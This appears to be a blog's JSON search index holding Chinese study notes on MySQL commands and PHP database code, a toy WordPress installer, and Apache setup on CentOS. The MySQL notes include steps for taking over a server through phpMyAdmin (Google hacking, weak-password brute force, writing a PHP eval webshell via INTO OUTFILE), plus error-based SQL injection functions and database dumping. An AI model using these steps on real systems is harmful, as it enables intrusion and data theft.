'上传失败'; die(); } } 数据库:一个用来存放数据的服务,或者平台。要么以结构化(数据库、表、数据)的形式存在,要么以非结构化(key => value)的形式存放。 结构化:学生库(stu_db)–>学生表(stu_table)–>id、 name、 number、 class 1 hu 21100 95 2 xi 21351 96 非结构化:students_1.txtid = 1name = hunumber = 21100class = 95 mysql(轻量级开源数据库,适用于中小型企业,性能较好)sql server(微软开发的,适用于大中型企业,需要微软的系统作为支撑,不支持跨平台)oracle(收费,适用于大型企业,可跨平台,需要硬件配置高) 数据库模型: 关系型数据库(结构化):mysql/mssql oracle DB2 非关系型数据库(非结构化):redis mongodb hbase neo4j nosql PHPstudy(WAMP) mysql 配置环境变量 dos窗口登陆mysql -> mysql -h -uroot -proot mysql交互窗口mysql-front 开源的数据库管理器phpmyadmin 基于网页的数据库管理器 mysql默认端口3306打开数据库管理器,数据库–>数据表–>字段(表头)表中有几个字段就有几列数据一行数据 专业称为 记录 mysql基础命令: mysql -h ip -u 用户名 -p 密码 show databases; 查看所有数据库 use test; 使用指定数据库 show tables; 查看数据库内的表 select * from news; 从news表中查看所有的数据内容 select 查看数据 * 表示所有字段 from news 从* *表中去获取数据 mysql修改密码: 低版本(5.x) 高版本(8.x) ALTER USER "root"@"localhost" IDENTIFIED BY "你的新密码"; mysql默认情况下不允许外连,也就意味使用mysql-front、navicat是无法连接到数据库的 mysql外连: (1)改表法 update user set host = “%” where user = “root” and host = “localhost”;//修改数据表 (2) mysql函数: select version(); 显示数据库的版本信息 select user(); 当前用户 select current_user()/session_user()/system_user(); mid(); 用来截取字符串中的一部分 mid("ichunqiu",0,2) ord(); 用来显示字符的ASCII码 concat(); 用来拼接字符串 concat_ws(); 使用分隔符来拼接字符串 group_concat(); 和concat类似,拼接并分组显示数据 select databases()/schema(); 查看当前数据库 select @@hostname; 获取计算机名称 select @@tmpdir; 获取临时文件目录路径 select @@datadir; 真正存放数据的路径 select @@version; 版本 select @@basedir; 数据库所在位置 创建数据库 create database ichunqiu; //交互式窗口 mysqladmin -uroot -proot create ichunqiu2 //dos窗口 删除数据库 drop database ichunqiu; mysqladmin -uroot -proot drop ichunqiu2 选择使用哪个数据库 use 数据库名称 数据类型: int,float,date,time,timestamp(时间戳),char,varchar,text 创建表 create table stu(id int , name varchar(10)); create table 表名(字段名1 类型1,字段名2 类型2,……); show create table stu; desc 表名 查看字段 show create table 表名;—-注意:IF NOT EXISTS 表示如果创建的表不存在就执行后续sql语句—- –>上引号 插入数据 insert into 表名 (字段1,字段2,字段3…,字段名n) value(value1,value2,….,valuen) —字段1对应value1— 查询数据 select 字段名1,字段名2,……,字段名n from 表名; select from 表名; select username,password from users where id=1;(单条件) select from stu where number=311009050115 and name=huqianwei;(多条件) select 字段名1,字段名2,….,字段名n from 表名 limit 0,1; –limit a,b 是用来限制读取记录,a是索引,b表示读取的行数– 更新数据 update 表名 set 字段名=新值1,字段名2=新值2,…,字段名n=新值n; update 表名 set 字段名=新值1,字段名2=新值2,…,字段名n=新值n where; 删除数据 delete from 表名 where 条件 ; delete from 表名; 删除表中所有数据 like子句 * 表示任意的字符 % 表示任意的字符 ? 表示一个字符 select * from stu where 字段名 like "字符串"; union 联合查询 select from 表1 union select from 表2; 注意:表1和表2中字段个数要保持一致 order by 条件 根据条件排序 select * from 表名 order by 字段名 asc/desc; —asc 升序,desc 降序— order by n ,按照第n列的数据进行排序,如果n超过了字段数量是,就会报错 group by 对结果进行分组 删除字段 alter table 表名 drop 字段名; 在表中将某个字段删掉 修改字段 alter table 表名 modify 字段名 字段类型; 添加字段 alter table 表名 add 字段名1 字段类型1,add 字段名2 字段类型2; 在表中增加某个字段 修改表名 alter table 原表名 rename to 新表名; mysql导入数据 (1)mysql -u 用户名 -p 密码 < 要导入的数据库数据 注意:runoob.sql中要自动创建数据库 如果runoob.sql中不会自动创建数据库,需要执行如下的步骤: step1:登录数据库mysql -u用户名 -p密码 step2:选择数据库 use mysql; step3:source 绝对路径 (2)mysqlimport -u root -p –local database_name dump.txt 注意:dump.txt不会创建数据库时,需要database_name mysql导出数据 select * from news into outfile “绝对路径”; show global variables like ‘%secure_file_priv%’; 临时修改:set global secure_file_priv=’’; (1)为null时,表示mysql不允许导入导出 (2)为路径时,只允许在路径中导入导出 (3)为无值时,表示不做限制 脱裤: mysqldump -uroot -proot test>D://database.sql脱裤中的表: mysqldump -uroot -proot mysql stu >D://database2.sql 通过phpmyadmin 来获取服务器权限: step1:首先通过Googlehacking找到phpmyadmin的网站 step2:爆破、弱口令,登录,查看权限,show global variables like ‘%secure_file_priv%’; step3:select “<?php eval($_POST[‘pass’]);?>” into outfile “G://“,注意写入木马的路径 选择数据的高级用法: order by 数字; —->可以用来暴字段数 select 1+1#1+1; select 1+1;–1+1 select connection_id(); 用户连接数 select insert(被替换的的字符串,索引,长度,替换的字符串); select left(被截取的字符串,截取的长度); 向左截取 select right(被截取的字符串,截取的长度); 向右截取 select substring/mid/substr(); 都是三个参数,第一个被截取的字符串,第二个是开始位置,第三个是截取的长度 select sleep(5); 让数据库等待5s后返回0 2个报错函数 extractvalue(XML_document,XPath_string): 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string(Xpath格式为字符串) 作用:从目标XML中返回包含所查询值的字符串 select * from user where user='root' and extractvalue(1,concat(0x7e,(select user()),0x7e)); ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~' select * from user where user='root' and extractvalue(1,concat(0x7e,(select @@datadir),0x7e)); ERROR 1105 (HY000): XPATH syntax error: '~D:\\phpstudy\\PHPTutorial\\MySQL\\d' concat(0x7e,(select user()),0x7e) updatexml(xml_document,xpath,) 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值 select * from user where user ='root'and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~' distinct去重: SELECT DISTINCT 字段 FROM 表名 WHERE 条件; group_concat把查询结果连接到一起: SELECT group_concat(DISTINCT 字段) FROM 表名 WHERE 条件 ; SELECT group_concat(字段,字段) FROM 表名 WHERE 条件 ; ubuntu16 mysql 安装: 安装的时候会提示要设置root密码,如果你没有在卸载的时候去清理残留数据是不会提示你去设置root密码的 ,我的就没提示,可以用上面的方法修改密码 sudo apt-get install mysql-client mysql-server #检查mysql是不是在运行 sudo service mysql status #一般安装完成之后都是会自动运行的,如果没有运行可以start sudo service mysql start 修改密码: update user set authentication_string=PASSWORD("密码") where user = "root"; update user set plugin="mysql_native_password"; flush privileges; quit; 重启mysql /etc/init.d/mysql restart; 卸载mysql: sudo apt purge mysql-* sudo rm -rf /etc/mysql/ /var/lib/mysql sudo apt autoremove PHP连接mysql数据库 (1)使用mysqli去连接 mysqli_connect("IP","pwd") create table if not exists `te`(`id` int auto_INCREMENT,`name` varchar(100) not null,`age` int(100) not null,`gender` bool,PRIMARY KEY (`id`)) 周四往表中插入数据: insert into 表名称(字段1,字段2...) value(字段1的值,字段2的值...) 例子:insert into news(title,content) value('标题','内容‘); 查询数据: select 字段名1,字段名2,...,字段名n from 表名称 select username,password from user where id =1;单条件 select * from stu where number=31100 and name=hu;多条件用and连接 select 字段1,字段2,字段n from 表名 limit 0,1;用limit加限制条件 从0开始读1条 limit a,b limit---限制读取记录 a---索引 b----记录数 更新: update 表名 set 字段1=新值1,字段2=新值2 条件; 删除表: delete from 表名 条件;一定要加好条件,否则都删了 delete from 表名;清空一个表 like子句: 通配符: *表示任意的字符 %表示任意的字符 ?表示任意一个字符 select * from 表名 where name like '%sd'; union*** 联合查询 select * from 表1 union select * from 表2;把表1和表2内容放在一起展示 注意:表1和表2中字段个数要保持一致,否则会报错 order by 条件*** 根据条件排序 select * from user where city ='beijng' order by name; ASC(升序) 或DESC(降序)默认升序 order by 1\\2\\3.。。 根据第几列来排序,如果超过列数就会报错***** group by 根据一个或多个列对结果进行分组,常和count sum、AVG组合使用 select name,count(*)from emply by name;根据名字来给表分组; 删除字段: alter table 表名 drop 字段名;在表中将某个字段删除 增加字段: alter table 字段名 add 字段名 字段类型 改字段: alter table to modify 字段名 字段类型; 改表名: alter table 原表名 rename to 新表名; 导入数据: 方法1.mysql -uroot -p 密码 &lt; 要导入的数据(注意:.sql中要自动创建数据库,如果runoob.sql中不会自动创建数据库,需要用第二种方法) 方法2.登录mysql,use数据库,source 路径文件 方法3.mysqlimport -uroot -p --local database_name dump.txt dump.txt(注意:dump.txt不会创建数据库时,需要database_name) 导出数据: 方法1.select * from 表名 into outfile 文件路径; 在此导出权限查询:show gloval variables like '%secure%'; 在mysql.ini中添加一句话secure_file_priv= 或者临时修改权限set global secure_file_priv=''; 通过phpmyadmin来获取服务器权限:(getshell) step1:首先通过google hacking找到phpmyadmin网站 step2:想办法登录进phpmyadmin,弱口令登录 show global variables like ‘%secure_file_priv%';判断是否有权限写入文件 step3:select ’&lt;?php eval($_POST[_]);?&gt;' into outfile 'g://re2.txt'; 注意些木马的路径 一般是/var/www/html/ 方法2.在cmd中mysqldump -uroot -p test&gt;./database.sql mysqldump -u用户名 -p密码 数据库名 表名 &gt;路径 注释**注入 #(%23) -- 注释当前行 /* */ 中间注释 查询用户连接数 select connection_id(); 替换字符 例子 select insert('ichunqiu',1,1,'kk');结果是kkchunqiu 截取字符串 例子 select LEFT("helloworld",5);结果是hello select LEFT(被截取的字符串,左截取长度); select RIGHT 同理 截取 select substring()/mid()/substr()都是三个参数,第一个:被截取的字符串,第二个:开始的位置,第三个:截取的长度 休息命令 select sleep(时间秒) 例子select sleep(5);返回0 //让服务器等待5秒后返回0 2个报错函数*** 一般情况下要放在条件后面 1.extractvalue(XML_document,XPath_string); 例子: select * from news where tid=1 and extractvalue(1,concat(0x7e,(select user()),0x7e)); 两个参数(1,拼接的第二个报错参数) 2.UPDATEXML (XML_document, XPath_string, new_value); updatexml(1,拼接参数,1); 去重函数 select distinct title from news;不显示重复函数 把查询结果连接在一起 group_concat(DISTINCT field) from table_name where conditions; PHP连接mysql数据库 方法1:使用mysqli扩展连接(面向对象) &lt;?php $dbhost = 'localhost:3306'; // mysql服务器主机地址 $dbuser = 'root'; // mysql用户名 $dbpass = '123456'; // mysql用户名密码 $conn = mysqli_connect($dbhost, $dbuser, $dbpass); if(! $conn ) { die('连接失败: ' . mysqli_error($conn)); } // 设置编码,防止中文乱码 mysqli_query($conn , "set names utf8"); $sql = 'SELECT runoob_id, runoob_title, runoob_author, submission_date FROM runoob_tbl'; mysqli_select_db( $conn, 'RUNOOB' ); $retval = mysqli_query( $conn, $sql ); if(! $retval ) { die('无法读取数据: ' . mysqli_error($conn)); } echo '&lt;h2&gt;菜鸟教程 mysqli_fetch_array 测试&lt;h2&gt;'; echo '&lt;table border="1"&gt;&lt;tr&gt;&lt;td&gt;教程 ID&lt;/td&gt;&lt;td&gt;标题&lt;/td&gt;&lt;td&gt;作者&lt;/td&gt;&lt;td&gt;提交日期&lt;/td&gt;&lt;/tr&gt;'; while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC)) { echo "&lt;tr&gt;&lt;td&gt; {$row['runoob_id']}&lt;/td&gt; ". "&lt;td&gt;{$row['runoob_title']} &lt;/td&gt; ". "&lt;td&gt;{$row['runoob_author']} &lt;/td&gt; ". "&lt;td&gt;{$row['submission_date']} &lt;/td&gt; ". "&lt;/tr&gt;"; } echo '&lt;/table&gt;'; mysqli_close($conn); ?&gt; 或者写成m面向对象: &lt;?php header("content-type:text/html;charset=utf-8"); $mysql_conf=array('host'=&gt;'127.0.0.1','username'=&gt;'root','password'=&gt;'root','database'=&gt;'test',);//定义的数组 =&gt; $mysqli=new mysqli($mysql_conf['host'],$mysql_conf['username'],$mysql_conf['password']);//连接数据库 //new 对象,实例化 if ($mysqli-&gt;connect_error) { die("not connect to database server".$mysqli-&gt;connect_error);//connect_error该变量存储连接服务时的错误信息,若没有,则说明连接成功 } $mysqli-&gt;query("set names 'utf8'");//设置编码方式 $db=$mysqli-&gt;select_db($mysql_conf['database']);//选择数据库 if (!$db) { die('not connect to the db'.$mysqli-&gt;error);//error变量存储连接数据库的错误信息, } $sql="select * from news where tid=1"; //这是要执行的sql语句 $conn=$mysqli-&gt;query($sql);//执行sql语句 //var_dump($conn); if (!$conn) { die('sql is error'.$mysqli-&gt;error); } while ($row=$conn-&gt;fetch_array(MYSQLI_ASSOC)) {//fetch_assoc该方法将执行完sql语句的结果转换为数组 //var_dump($row); echo "&lt;pre&gt;"; //print_r($row); echo $row['content']; echo "&lt;/pre&gt;"; } $conn-&gt;free();//释放执行sql语句的资源 $mysqli-&gt;close();//释放连接数据库服务的资源 // mysqli_fetch_assoc(), 该函数从结果集中取得一行作为关联数组 ,返回根据从结果集取得的行生成的关联数组,如果没有更多行,则返回 false。 // mysqli_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有 返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。 执行数据库语句(成功返回0,失败返回1) $result=mysqli_query($conn,$create_db_sql); 方法2:使用mysql扩展(php低于5.5) 方法3:使用PDO技术(面向对象的,防止sql注入)接下一篇: 周五方法3:使用PDO技术(面向对象的,防止sql注入) $mysql_conf=array( 'host'=&gt;'127.0.0.1:3306', 'db'=&gt;'test', 'db_user'=&gt;'root', 'db_pwd'=&gt;'123456', ); //$pdo = new PDO("mysql:host=".$mysql_conf['host'].";dbname=".$mysql_conf['db'],"db_user=".$mysql_conf['db_user'],"db_pwd=".$mysql_conf['db_pwd']); $pdo = new PDO("mysql:host=" . $mysql_conf['host'] . ";dbname=" . $mysql_conf['db'], $mysql_conf['db_user'], $mysql_conf['db_pwd']);//$dsn = "mysql:dbname=test;host=127.0.0.1"; $pdo-&gt;exec("set names 'utf8'"); $sql="select * from food where id=3"; $stmt=$pdo-&gt;prepare($sql); $stmt-&gt;bindValue(1,'1',PDO::PARAM_STR); $rs=$stmt-&gt;execute(); if ($rs){ while ($row=$stmt-&gt;fetch(PDO::FETCH_ASSOC)){ var_dump($row); } } $pdo=null; ?&gt;","categories":[],"tags":[{"name":"PHP","slug":"PHP","permalink":"https://jaychouzzk.github.io/tags/PHP/"},{"name":"Mysql","slug":"Mysql","permalink":"https://jaychouzzk.github.io/tags/Mysql/"}]},{"title":"php简陋实现wordpress安装流程","slug":"php简陋实现wordpress安装流程","date":"2018-12-15T16:00:00.000Z","updated":"2019-08-07T20:57:53.452Z","comments":true,"path":"2018/12/16/php简陋实现wordpress安装流程/","link":"","permalink":"https://jaychouzzk.github.io/2018/12/16/php简陋实现wordpress安装流程/","excerpt":"","text":"anzhuang.php123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228<?php/** * Created by PhpStorm. * User: Administrator * Date: 2018/12/15 * Time: 17:20 */$step =0;@$step = $_POST['step'];@$language = $_POST['language'];/*@$sqlname= $_POST['sqlname'];@$username = $_POST['username'];@$passwd = $_POST['passwd'];@$sqlhost = $_POST['sqlhost'];@$tbname = $_POST['tbname'];*/$_POST['sqlname'] = \"wordpress\";$_POST['username'] = \"root\";$_POST['passwd'] = \"root\";$_POST['sqlhost'] = \"localhost\";$_POST['tbname'] = \"wp_\";@$uname = $_POST['uname'];@$upasswd = $_POST['upasswd'];if ($step == 0){step0();}if($step == 1){step1();}if($step == 2 ){step2();}if($step == 3 ) {step3();}if($step == 5){successful();}if($step == 6){success();}if ($step == 7){wordpress();}//开始页面function step0(){$step1 = <<<EOF<html><head><title></title></head><style></style><body style=\"text-align: center;\"><form action=\"anzhuang.php\" method=\"post\"><h1>WordPress</h1><button type=\"submit\" name=\"step\" value=\"1\">开始安装</button> </form></body></html>EOF;echo $step1;}//第一步-->选择安装语言function step1(){$step1 = <<<EOF<html><head><title></title></head><style></style><body style=\"text-align: center;\"><form action=\"anzhuang.php\" method=\"post\"><h1>请选择安装语言:</h1><select name=\"language\"> <option value=\"ysyy\">英式英语</option> <option value=\"zhjt\">中文简体</option> <option value=\"msyy\">美式英语</option> <option value=\"zhft\">中文繁体</option></select><button type=\"submit\" name=\"step\" value=\"2\">下一步</button> </form></body></html>EOF;echo $step1;}//第二步function step2(){$step1 = <<<EOF<html><head><title></title></head><style></style><body style=\"text-align: center;\"><form action=\"anzhuang.php\" method=\"post\"><p>欢迎使用</p> <li>数据库名</li> <li>数据库用户名</li> <li>数据库密码</li> <li>数据库主机</li> <li>数据表前缀(table prefix,特别是当您要在一个数据库中安装多个WordPress时)</li><p>我们会使用这些信息来创建一个<code>wp-config.php</code>文件。 <strong>如果自动创建未能成功,不用担心,您要做的只是将数据库信息填入配置文件。您也可以在文本编辑器中打开<code>wp-config-sample.php</code>,填入您的信息,并将其另存为<code>wp-config.php</code>。</strong> 需要更多帮助?<a href=\"https://codex.wordpress.org/zh-cn:%E7%BC%96%E8%BE%91_wp-config.php\">看这里</a>。</p><p>绝大多数时候,您的网站服务提供商会给您这些信息。如果您没有这些信息,在继续之前您将需要联系他们。如果您准备好了…</p><button type=\"submit\" name=\"step\" value=\"3\">现在就开始!</button> </form></body></html>EOF;echo $step1;}//第三步-->填写基本信息,如果与数据库进行比对,出现错误跳转errorsql().function step3(){$step1 = <<<EOF<html><head><title></title></head><style></style><body style=\"text-align: center;\"><form action=\"jiaoyan.php\" method=\"post\"><p>请在下方填写您的数据库连接信息:</p><p>数据库名<input type=\"text\" name=\"sqlname\" value=\"wordpress\"></p><p>用户名<input type=\"text\" name=\"username\" value=\"root\"></p><p>密码<input type=\"text\" name=\"passwd\" value=\"root\"></p><p>数据库主机<input type=\"text\" name=\"sqlhost\" value=\"localhost\"></p><p>表前缀<input type=\"text\" name=\"tbname\" value=\"wp_\"></p><button type=\"submit\" name=\"submit\">提交</button></form></body></html>EOF;echo $step1;}//第五步function successful(){$step1 = <<<EOF<html><head><title></title></head><style></style><body style=\"text-align: center;\"><form action=\"anzhuang.php\" method=\"post\"><h1>欢迎</h1><p>欢迎使用著名的wordpress</p><h1>需要信息</h1><p>您需要填写一些基本信息</p><p>站点标题<input type=\"text\"></p><p>用户名<input type=\"text\" name=\"uname\" value=\"\"></p><p>密码<input type=\"text\" name=\"upasswd\" value=\"\"></p><p>您的电子邮件<input type=\"text\"></p><p>对搜索引擎的可见性<input type=\"text\"></p> <button type=\"submit\" name=\"step\" value=\"6\">安装WordPress</button> </form></body></html>EOF;echo $step1;}//第六步-->设置自己登录所需要的用户名密码function success(){global $uname;global $upasswd;$step1 = <<<EOF<html><head><title></title></head><style></style><body style=\"text-align: center;\"><form action=\"anzhuang.php\" method=\"post\"><h1>成功</h1><p>WordPress安装完成。谢谢!</p>EOF;$step2 = <<<EOF </form></body></html>EOF;//<button type=\"submit\" name=\"step\" value=\"7\">登录</button>echo $step1.'<p>用户名:'.$uname.'</p>'.'<p>密码:'.$upasswd.'</p>'.$step2;}//登陆界面/*function wordpress(){$step1 = <<<EOF<html><head><title></title></head><style></style><body style=\"text-align: center;\"><form action=\"anzhuang.php\" method=\"post\"><h1>欢迎</h1><p>欢迎使用著名的wordpress</p><p>用户名<input type=\"text\" name=\"name\" value=\"\"></p><p>密码<input type=\"text\" name=\"passwd\" value=\"\"></p> <button type=\"submit\" name=\"step\" value=\"\">登陆</button> </form></body></html>EOF;echo $step1;}*/?> 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667# jiaoyan.php # <?php /** * Created by PhpStorm. * User: Administrator * Date: 2018/12/16 * Time: 15:45 */ @$step = $_POST['step']; @$_POST['sqlname']; @$_POST['username']; @$_POST['passwd']; @$_POST['sqlhost']; @$_POST['tbname']; if (@$_POST['sqlname'] == \"wordpress\" && @$_POST['username'] == \"root\" && @$_POST['passwd'] == \"root\" && @$_POST['sqlhost'] == \"localhost\" && @$_POST['tbname'] == \"wp_\"){ errorwpconfig(); }elseif(@$_POST['sqlname'] != \"wordpress\" || @$_POST['username'] != \"root\" || @$_POST['passwd'] != \"root\" || @$_POST['sqlhost'] != \"localhost\" || @$_POST['tbname'] != \"wp_\"){ errorsql(); } //第四步 function errorwpconfig(){ $step1 = <<<EOF <html> <head> <title></title> </head> <style> </style> <body style=\"text-align: center;\"> <form action=\"anzhuang.php\" method=\"post\"> <p>抱歉,我不能写入wp-config.php文件</p> <p>您可以手工创建wp-config.php文件,将下列文字粘贴于其中</p> <textarea style=\"height: 50%;width: 50%;\">sdwaasdwaasdwaasdw</textarea> <p>在您做完这些之后,点击现在安装</p> <button type=\"submit\" name=\"step\" value=\"5\">现在安装</button> </form> </body> </html> EOF; echo $step1; } //数据库信息错误 function errorsql(){ $step1 = <<<EOF <html> <head> <title></title> </head> <style> </style> <body style=\"text-align: center;\"> <form action=\"anzhuang.php\" method=\"post\"> <p>1.xxxxx出错</p> <p>2.xxxxx出错</p> <p>3.xxxxx出错</p> <button type=\"submit\" name=\"step\" value=\"3\">返回上一步</button> </form> </body> </html> EOF; echo $step1; } ?>","categories":[],"tags":[{"name":"PHP","slug":"PHP","permalink":"https://jaychouzzk.github.io/tags/PHP/"}]},{"title":"在Cent os 7下Apache安装","slug":"CentOs7安装Apache服务","date":"2018-12-03T08:00:45.000Z","updated":"2018-12-05T12:21:35.642Z","comments":true,"path":"2018/12/03/CentOs7安装Apache服务/","link":"","permalink":"https://jaychouzzk.github.io/2018/12/03/CentOs7安装Apache服务/","excerpt":"","text":"在Cent os 7下Apache安装 使用软件:Vmware 14,Termius,FileZilla Client 安装环境:CentOs Linux release 7.2.1511 安装Apache版本:httpd-2.4.37 源码安装步骤:将httpd-2.4.37.tar通过sftp上传到cent os的/root目录下 进入Termius中,通过SSH连接虚拟机 将这四个文件传到虚拟机的/root目录下 先将gcc环境安装好 yum install gcc 进入命令行模式,解压这四个文件,解压到默认目录下 tar zxvf apr-1.6.5.tar.gz tar zxvf apr-util-1.6.1.tar.gz tar zxvf pcre-8.42.tar.gz tar zxvf pcre-8.42.tar.gz 1.先安装apr-1.6.5 cd apr-1.6.5/ ./configure --prefix=/usr/local/apr/ make && make install 如果遇到这个错误,请看下面错误解决 2.安装apr-util-1.6.1 cd apr-util-1.6.1/ ./configure --prefix=/usr/local/apr-util/ --with-apr=/usr/local/apr/ make && make install 如果遇到了以下错误,请看下面错误解决 3.安装pcre-8.42 cd pcre-8.42 ./configure make && make install 如果出现以下错误,请看错误解决 4.安装httpd-2.4.37 cd httpd-2.4.37 ./configure --prefix=/usr/local/apache2 make && make install 如果遇到以下错误,请看错误解决 安装完成 启动命令: /usr/local/apache2/bin/apachectl start 缺少gcc的组件,执行命令 yum -y install gcc gcc-c++ pcre-devel 即可成功然后进入 /usr/local/apache2/bin/apachectl start 即可运行apache服务如果出现 服务也是开启的,只是一个告警,提示没有设置servername 解决办法:可以在配置文件中配置 /usr/local/apache2/conf/httpd.conf 成功运行 使用命令行安装Apacheyum install httpd systemctl start httpd systemctl enable httpd firewall -cmd --add-service=http --permanent firewall-cmd --reload vim /var/www/html/index.html //写入hello word 关闭防火墙 systemctl stop firewalld service iptables stop 在物理机中访问 成功配置完毕附加一些配置命令: rm -f /etc/httpd/conf.d/welcome.conf #删除默认欢迎页面 vi /etc/httpd/conf/httpd.conf #自己配置环境 # line 86: 改变管理员的邮箱地址 ServerAdmin root@linuxprobe.org # line 95: 改变域名信息 ServerName www.linuxprobe.org:80 # line 151: none变成All AllowOverride All # line 164: 添加只能使用目录名称访问的文件名 DirectoryIndex index.html index.cgi index.php # add follows to the end # server's response header(安全性) ServerTokens Prod # keepalive is ON KeepAlive On 错误解决 安装apr-1.6.5出现的错误错误: cannot remove ‘libtoolT’:no such file or directory 解决: vim /root/apr-1.6.5/cofigure 将RM="$RM" 改为RM="$RM -f" RM="rm" 改为RM="$rm -f" 安装apr-util.1.6.1出现的错误错误1: configure: error: APR could not be located. Please use the --with-apr option. 解决: ./configure --with-apr 或:./configure --prefix=/usr/local/apr-util/ --with-apr=/usr/local/apr/ 错误2: checking for APR... configure: error: the --with-apr parameter is incorrect. It must specify an install prefix, a build directory, or an apr-config file 解决: ./configure --prefix=/usr/local/apr --with-apr=/usr/local/apr/ 错误3: make[1]: 进入目录“/usr/local/apr-util-1.6.1” /bin/sh /usr/local/apr/build-1/libtool --silent --mode=compile gcc -g -O2 -pthread -DHAVE_CONFIG_H -D_REENTRANT -D_GNU_SOURCE -I/usr/local/apr-util-1.6.1/include -I/usr/local/apr-util-1.6.1/include/private -I/usr/local/apr/include/apr-1 -o xml/apr_xml.lo -c xml/apr_xml.c && touch xml/apr_xml.lo xml/apr_xml.c:35:19: 致命错误:expat.h:没有那个文件或目录 #include <expat.h> 编译中断。 make[1]: *** [xml/apr_xml.lo] 错误 1 make[1]: 离开目录“/usr/local/apr-util-1.6.1” make: *** [all-recursive] 错误 1 解决方法: yum install expat-devel 安装proc错误出现的错误错误: configure: error: Invalid C++ compiler or C++ compiler flags 解决方法: yum -y install gcc gcc-c++ pcre-devel 安装httpd出现的错误错误: checking for APR-util... no configure: error: APR-util not found. Please read the documentation. 解决方法: ./configure --prefix=/usr/local/apache2 --with-apr-util=/usr/local/apr-util/","categories":[],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://jaychouzzk.github.io/tags/Linux/"},{"name":"Apache,CentOs","slug":"Apache,CentOs","permalink":"https://jaychouzzk.github.io/tags/Apache,CentOs/"}]}]}